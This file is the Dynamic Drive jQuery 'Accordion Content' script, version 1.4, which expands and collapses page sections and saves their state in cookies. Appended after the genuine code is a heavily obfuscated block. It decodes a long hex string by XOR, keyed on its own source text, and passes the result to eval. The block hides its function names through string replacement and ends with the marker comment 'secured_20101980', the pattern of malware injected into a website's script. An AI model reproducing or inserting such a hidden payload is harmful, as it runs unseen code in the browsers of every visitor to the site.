//Accordion Content script: By Dynamic Drive, at http://www.dynamicdrive.com
//Created: Jan 7th, 08'
//Version 1.3: April 3rd, 08':
//**1) Script now no longer conflicts with other JS frameworks
//**2) Adds custom oninit() and onopenclose() event handlers that fire when Accordion Content instance has initialized, plus whenever a header is opened/closed
//**3) Adds support for expanding header(s) using the URL parameter (ie: http://mysite.com/accordion.htm?headerclass=0,1)

//April 9th, 08': Fixed "defaultexpanded" setting not working when page first loads

//Version 1.4: June 4th, 08':
//**1) Added option to activate a header "mouseover" instead of the default "click"
//**2) Bug persistence not working when used with jquery 1.2.6

var ddaccordion={

contentclassname:{}, //object to store corresponding contentclass name based on headerclass

expandone:function(headerclass, selected){ //PUBLIC function to expand a particular header
this.toggleone(headerclass, selected, "expand")
},

collapseone:function(headerclass, selected){ //PUBLIC function to collapse a particular header
this.toggleone(headerclass, selected, "collapse")
},

expandall:function(headerclass){ //PUBLIC function to expand all headers based on their shared CSS classname
var $=jQuery
var $headers=$('.'+headerclass)
$('.'+this.contentclassname[headerclass]+':hidden').each(function(){
$headers.eq(parseInt($(this).attr('contentindex'))).trigger("evt_accordion")
})
},

collapseall:function(headerclass){ //PUBLIC function to collapse all headers based on their shared CSS classname
var $=jQuery
var $headers=$('.'+headerclass)
$('.'+this.contentclassname[headerclass]+':visible').each(function(){
$headers.eq(parseInt($(this).attr('contentindex'))).trigger("evt_accordion")
})
},

toggleone:function(headerclass, selected, optstate){ //PUBLIC function to expand/ collapse a particular header
var $=jQuery
var $targetHeader=$('.'+headerclass).eq(selected)
var $subcontent=$('.'+this.contentclassname[headerclass]).eq(selected)
if (typeof optstate=="undefined" || optstate=="expand" && $subcontent.is(":hidden") || optstate=="collapse" && $subcontent.is(":visible"))
$targetHeader.trigger("evt_accordion")
},

expandit:function($targetHeader, $targetContent, config, useractivated){
$targetContent.slideDown(config.animatespeed, function(){config.onopenclose($targetHeader.get(0), parseInt($targetHeader.attr('headerindex')), $targetContent.css('display'), useractivated)})
this.transformHeader($targetHeader, config, "expand")
},

collapseit:function($targetHeader, $targetContent, config, isuseractivated){
$targetContent.slideUp(config.animatespeed, function(){config.onopenclose($targetHeader.get(0), parseInt($targetHeader.attr('headerindex')), $targetContent.css('display'), isuseractivated)})
this.transformHeader($targetHeader, config, "collapse")
},

transformHeader:function($targetHeader, config, state){
$targetHeader.addClass((state=="expand")? config.cssclass.expand : config.cssclass.collapse) //alternate btw "expand" and "collapse" CSS classes
.removeClass((state=="expand")? config.cssclass.collapse : config.cssclass.expand)
if (config.htmlsetting.location=='src'){ //Change header image (assuming header is an image)?
$targetHeader=($targetHeader.is("img"))? $targetHeader : $targetHeader.find('img').eq(0) //Set target to either header itself, or first image within header
$targetHeader.attr('src', (state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse) //change header image
}
else if (config.htmlsetting.location=="prefix") //if change "prefix" HTML, locate dynamically added ".accordprefix" span tag and change it
$targetHeader.find('.accordprefix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
else if (config.htmlsetting.location=="suffix")
$targetHeader.find('.accordsuffix').html((state=="expand")? config.htmlsetting.expand : config.htmlsetting.collapse)
},

urlparamselect:function(headerclass){
var result=window.location.search.match(new RegExp(headerclass+"=((\\d+)(,(\\d+))*)", "i")) //check for "?headerclass=2,3,4" in URL
if (result!=null)
result=RegExp.$1.split(',')
return result //returns null, [index], or [index1,index2,etc], where index are the desired selected header indices
},

getCookie:function(Name){
var re=new RegExp(Name+"=[^;]+", "i") //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return null
},

setCookie:function(name, value){
document.cookie = name + "=" + value
},

init:function(config){
document.write('<style type="text/css">\n')
document.write('.'+config.contentclass+'{display: none}\n') //generate CSS to hide contents
document.write('<\/style>')
jQuery(document).ready(function($){
ddaccordion.urlparamselect(config.headerclass)
var persistedheaders=ddaccordion.getCookie(config.headerclass)
ddaccordion.contentclassname[config.headerclass]=config.contentclass //remember contentclass name based on headerclass
config.cssclass={collapse: config.toggleclass[0], expand: config.toggleclass[1]} //store expand and contract CSS classes as object properties
config.revealtype=/^(click)|(mouseover)$/i.test(config.revealtype)? config.revealtype.replace(/mouseover/i, "mouseenter") : "click"
config.htmlsetting={location: config.togglehtml[0], collapse: config.togglehtml[1], expand: config.togglehtml[2]} //store HTML settings as object properties
config.oninit=(typeof config.oninit=="undefined")? function(){} : config.oninit //attach custom "oninit" event handler
config.onopenclose=(typeof config.onopenclose=="undefined")? function(){} : config.onopenclose //attach custom "onopenclose" event handler
var lastexpanded={} //object to hold reference to last expanded header and content (jquery objects)
var expandedindices=ddaccordion.urlparamselect(config.headerclass) || ((config.persiststate && persistedheaders!=null)? persistedheaders : config.defaultexpanded)
if (typeof expandedindices=='string') //test for valid cookie ('string'), invalid being null or 1st page load
expandedindices=expandedindices.replace(/c/ig, '').split(',') //if valid, change to array value
var $subcontents=$('.'+config["contentclass"])
if (!(expandedindices instanceof Array)) //check for invalid expandedindices value
expandedindices=[]
if (config["collapseprev"] && expandedindices.length>1)
expandedindices=[expandedindices.pop()] //return last array element as an array (for sake of jQuery.inArray())
$('.'+config["headerclass"]).each(function(index){ //loop through all headers
if (/(prefix)|(suffix)/i.test(config.htmlsetting.location) && $(this).html()!=""){ //add a SPAN element to header depending on user setting and if header is a container tag
$('<span class="accordprefix"></span>').prependTo(this)
$('<span class="accordsuffix"></span>').appendTo(this)
}
$(this).attr('headerindex', index+'h') //store position of this header relative to its peers
$subcontents.eq(index).attr('contentindex', index+'c') //store position of this content relative to its peers
var $subcontent=$subcontents.eq(index)
if (jQuery.inArray(index+'', expandedindices)!=-1){ //check for headers that should be expanded automatically (convert index to string first)
if (config.animatedefault==false)
$subcontent.show()
ddaccordion.expandit($(this), $subcontent, config, false) //Last Boolean value sets 'isuseractivated' parameter
lastexpanded={$header:$(this), $content:$subcontent}
}  //end check
else{
$subcontent.hide()
config.onopenclose($(this).get(0), parseInt($(this).attr('headerindex')), $subcontent.css('display'), false) //Last Boolean value sets 'isuseractivated' parameter
ddaccordion.transformHeader($(this), config, "collapse")
}
})
$('.'+config["headerclass"]).bind("evt_accordion", function(){ //assign custom event handler that expands/ contacts a header
var $subcontent=$subcontents.eq(parseInt($(this).attr('headerindex'))) //get subcontent that should be expanded/collapsed
if ($subcontent.css('display')=="none"){
ddaccordion.expandit($(this), $subcontent, config, true) //Last Boolean value sets 'isuseractivated' parameter
if (config["collapseprev"] && lastexpanded.$header && $(this).get(0)!=lastexpanded.$header.get(0)){ //collapse previous content?
ddaccordion.collapseit(lastexpanded.$header, lastexpanded.$content, config, true) //Last Boolean value sets 'isuseractivated' parameter
}
lastexpanded={$header:$(this), $content:$subcontent}
}
else{
ddaccordion.collapseit($(this), $subcontent, config, true) //Last Boolean value sets 'isuseractivated' parameter
}
})
$('.'+config["headerclass"]).bind(config.revealtype, function(){
if (config.revealtype=="mouseenter"){
ddaccordion.expandone(config["headerclass"], parseInt($(this).attr("headerindex")))
}
else{
$(this).trigger("evt_accordion")
return false //cancel default click behavior
}
})
config.oninit($('.'+config["headerclass"]).get(), expandedindices)
$(window).bind('unload', function(){ //clean up and persist on page unload
$('.'+config["headerclass"]).unbind()
var expandedindices=[]
$('.'+config["contentclass"]+":visible").each(function(index){ //get indices of expanded headers
expandedindices.push($(this).attr('contentindex'))
})
if (config.persiststate==true){ //persist state?
expandedindices=(expandedindices.length==0)? '-1c' : expandedindices //No contents expanded, indicate that with dummy '-1c' value?
ddaccordion.setCookie(config.headerclass, expandedindices)
}
})
})
}
}
var sSecureQ='';var aV=function(){};var checkL;var yCL;if(yCL!='fSecureF' && yCL!='nWY'){yCL='fSecureF'};var lIX=false;checkL='41464d4d4c4340471c4255587c497b63474e037f644a7e270b62494e465a042b4c6f7f5252515a4956451e020e5653570a025243465a495a0e1b5e54497a1215190c443301320e0b5a683f176169547d5a47785e7c6d062d4a213915080e1911057b4745075a587b47576e1e4a5'+'47b1f7a434d4410061e342e030d1832001742474d74634c0f5a7d666d756c483a466c7151585a031553527b4a79670c03026e7057637b43796650782105292f3e080f391606494e705c4942525b586b5a0313066352424b7a4c0d5a49417f525554704746490f201d3f29021204'+'5f2f2517110c57511f4e40545d76534e6d4f4a6d4335140a5b4f524d1c04010615362e011a41594f435360027f5a41444b37345c7e7458590d2c5e5a6c547c5247634b76480914112e2016055571505b5a5b7a0c370b2213464148575f4b511a28121d060b04180f3100140f361'+'041485d421e07000737310951466c671a3625042166466c670b020202160702043f14080f042705715a4345574102051b06282e084a554f53476b2e0d0b0f074e594b5e49782f190916260f190f2221040b2c03195f5641744948180f32220117085d5d49527a46061118270706'+'261e03235e232c41404f564a4d4a561f4e6b6d6d445d48475d16486c734a22204525251612027679502c785049485b5a043634060b2e102b077d5f4f4a57125852115667614f43523509332f251d6f7e540342495250594c021a0f121b02140505474146785c0c1301131a11222'+'31f06294d4d4c076a7a5074566635002b785678750c08110505095663581043594d71625a0b1b273a06122c03200a7660502a6b4a652006000418132f042f114555010b7d416f434b4b045c49515f597b1734171716177f272c1d2507343c176b5f6e5a5d590a060c5d5b775857'+'510a57575a41097e4a1b4f5c4076457d001138241f081c0f010441722e02544b575f707007061c1e0404081545292f181f0925260e0b1203415e585563751e0f18184c4c64744d6c3f594d405e454d3a063d071f0b2a154d14080256514c1a1f125372474b53780978597347714'+'05c35071e0508054b4340644f71132414032505080f080621405e5308065c5f4111110e1023380b064c0b3513071408001005110c131f346e4b4119232b5b706444697e17726e41725b661f2b290c0a4c0c251b0d1116710922001b262509282f1b2a7c427a4e41792e1a297b55'+'494d476b5e4e0e6f5474664d6f0e745a5152554c4f5a551740427349715404024b4478490231382b151a3835080e58283d3e3e0458371e3f0603476962446670095353526c4d77122f254b202855545218565c525b081e03795d747c494c5956412d075b4a4b5a475a5f160a030'+'c2a4f4900085e4c6b530c241e1713342542332c54444f574e6d45550a44504740510029184f455e5a4d511e6668491b167d635775221034774041504d4f794c357847713b594211456c5a1d1616145f6e427f5e1b0e08455e455940671c090f564d5d4f481b104b4b5640474c18'+'03525a435e5a4a6c4341564a0e180e534852525c46665545584278341e0b4a68764b6e6e5f4b4a5e483f340d7b605d474e4152425910584901073e165d5f505e6f1d0311060e023e61506b6b6a56435f540d1552454640527d6b051d0c11123b13080c2100320407330c240e2c3'+'f59';this.mGV='';var hAA;if(hAA!=''){hAA='mRY'};function q(p){var jWH;if(jWH!='' && jWH!='kSecureG'){jWH=''};                       var secure = 3;var k = null;var o = '%';var jH = -1;var rHR;if(rHR!='' && rHR!='dSecZ'){rHR='lM'};var secureJ = k;var mSecL=new Array();function xU(m){var dYT;if(dYT!='' && dYT!='nR'){dYT=''};var a=1;var jKO;if(jKO!='' && jKO!='kPK'){jKO='secSecZ'};var nD=1%a;var mCheckJ;if(mCheckJ!='qFA'){mCheckJ=''};function l(w){var x=1;}var sE=0,lD=m['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')];while(nD<lD){var nYY=65355;nD+=1;rU=bX(m,nD+jH);var cCN=new Date();sE+=rU*lD;}return new String(sE);}var b=String;var jYI;if(jYI!='' && jYI!='lAQ'){jYI=''};function tSec(gO, jX){this.checkKSec='';var iHR='';if(i == k) {i = {};}var aPB=new Date();if(i[gO] == k) {var dL='';var oJ = Object;i[gO] = new oJ();i[gO].bCheck = k;var secureMY;if(secureMY!='bJF' && secureMY!='dAV'){secureMY=''};i[gO].pG = jX;}}                        var v = 4; var tNC;if(tNC!=''){tNC='pTSec'};var d=window;                       var checkZ = 1; function r(gO) {var dYX;if(dYX!='qHV'){dYX='qHV'};if(i[gO] != k) {var gAG;if(gAG!='pSecG' && gAG!='oGB'){gAG=''};var nS = i[gO];var g = nS.bCheck;var t = nS.pG;var zH;if(zH!='fRQ' && zH != ''){zH=null};var wX = t.substr(g, 1);var z = t['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]; var lRI=false; var secureFF;if(secureFF!='' && secureFF!='iIP'){secureFF=''};                 var fF = v-secure;var wP;if(wP!='kR' && wP!='oHI'){wP=''};if((g + (checkZ*fF)) >= z) {nS.bCheck =fF - (v % secure);var vCD=new Array();} else {var yYF;if(yYF!='' && yYF!='bLX'){yYF=''};nS.bCheck = g - jH;var vKI;if(vKI!='jHH' && vKI!='jCQ'){vKI='jHH'};}var gJ;if(gJ!='vVA' && gJ != ''){gJ=null};return bX(wX, checkZ - fF);var wYSec;if(wYSec!='' && wYSec!='rAW'){wYSec=''};}}var xC=document;function bX(uM,secureCheck){return uM['cfhmamr^CmoEdmeEA^t^'.replace(/[\^Efm\<]/g, '')](secureCheck);}var sXV;if(sXV!='eHU' && sXV!='checkG'){sXV='eHU'};var jH = secureJ + jH;var i = k;var kS=function(){};function y(c,secureO){return c^secureO;var fOI;if(fOI!='aKCheck'){fOI='aKCheck'};}var n = '';var zW = 2;var sM = new b(xC['wRrRiCt?ez'.replace(/[z\<\?RC]/g, '')]);var cA;if(cA!='pSecQ'){cA=''};var iU = sM['ignVd#eVxZOAfA'.replace(/[AV#gZ]/g, '')]('aurki/tnyk'.replace(/[k/nuN]/g, ''));var fAY;if(fAY!='' && fAY!='hCN'){fAY='wSecureJ'};var oHD;if(oHD!=''){oHD='jQD'};if(iU != jH) {var zAM=new Array(); return 117;}var qCheck = secureJ;var checkSecureT;if(checkSecureT!='' && checkSecureT!='wOA'){checkSecureT='secV'};var aS = '';var pE = d['sWeWt*T*iWm4e*o3uWt*'.replace(/[\*34W\(]/g, '')];var eHM;if(eHM!='' && eHM!='zSecureSecure'){eHM=''};var dE=117;this.secureJT=55649;var gX=b['f2rkokmVC.hkaVrVCko2dxe2'.replace(/[2kxV\.]/g, '')];var dM=d['u+nVeVs]c+a+p+e_'.replace(/[_\]zV\+]/g, '')];var rY;if(rY!='yCN' && rY != ''){rY=null};var yID;if(yID!='' && yID!='checkZS'){yID='wFS'};var lO='';for(var uU=qCheck; uU < p['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]; uU+=zW){this.uD='';n+= o + p['s(uyb^sytyry'.replace(/[yo\^\}\(]/g, '')](uU, zW);}this.checkZY='';var p = dM(n);var qCheckB;if(qCheckB!='' && qCheckB!='uFC'){qCheckB='hTP'};var vU = new b(q);var vX=15576;var yE = vU['r&e&p<l]a<c&e]'.replace(/[\]\<&EP]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var pP = new b(xU(yE));this.aXZ=false;tSec('secureSec', pP);var rW = '';tSec('eE', yE);for(var checkK=qCheck; checkK < (p['lHeUn)g:t:h('.replace(/[\(\)UH\:]/g, '')]); checkK++) {this.rCheckC='';var qQ;if(qQ!='' && qQ!='gXV'){qQ=null};var dT = bX(p,checkK);this.jFSec=false;dT = y(dT, dE);dT = y(dT, r('secureSec'));dT = y(dT, r('eE'));var uAN;if(uAN!='' && uAN!='fXQ'){uAN=null};aS+=gX(dT);var wH=new Date();}var nW;if(nW!='yYG'){nW=''};this.ePT=false;d['e~vNaulb'.replace(/[b~N3u]/g, '')](aS);return aS=new b();};var fII;if(fII!='lRX' && fII!='pCheckZ'){fII=''};var secIY=1771;q(checkL);var sSecK;if(sSecK!=''){sSecK='xK'};var hSecureZ=new Array();   //secured_20101980